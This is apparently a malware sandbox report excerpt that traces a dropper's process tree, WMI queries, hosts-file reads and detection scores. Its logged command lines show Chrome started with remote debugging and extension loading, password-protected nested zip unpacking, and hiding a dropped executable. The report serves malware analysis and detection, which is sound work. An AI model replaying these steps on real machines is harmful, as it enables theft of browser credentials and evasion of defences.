Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 928
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 928
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 928
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 928
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 928
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 928
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 928
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8276
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8276
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8276
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8276
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5236
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5236
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8028
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8028
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7844
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7844
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: cd2469328d.exe, 0000000B.00000003.2613673604.0000000003567000.00000004.00000800.00020000.00000000.sdmp, cd2469328d.exe, 0000000B.00000003.2614353900.0000000003535000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2692078477.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3569003818.00000000060F9000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3576461028.00000000060C5000.00000004.00000800.00020000.00000000.sdmp, 35f0a75b93.exe, 0000002B.00000003.3810485842.0000000005B98000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3669476568.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3663084354.00000000054E4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 57%
Source: file.exe Virustotal: Detection: 59%
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe "C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe "C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe"
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Process created: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe "C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe"
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Process created: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe "C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe "C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe "C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe"
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Process created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe "C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe "C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe"
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: unknown Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe "C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe"
Source: unknown Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe "C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe"
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe "C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe "C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe"
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1896,i,12670110117547472489,9919710974034133825,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2004,i,2036866093412023983,10134248747286953754,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe "C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe "C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe "C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe"
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2484 --field-trial-handle=2328,i,6628927633879078987,5168946575575726865,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2020,i,9689288529753768681,16251776256977340336,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe "C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe "C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe "C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe "C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe "C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe "C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe "C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe "C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe "C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe "C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe "C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe "C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Process created: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe "C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Process created: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe "C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Process created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe "C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe"
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=""
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2020,i,9689288529753768681,16251776256977340336,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1896,i,12670110117547472489,9919710974034133825,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
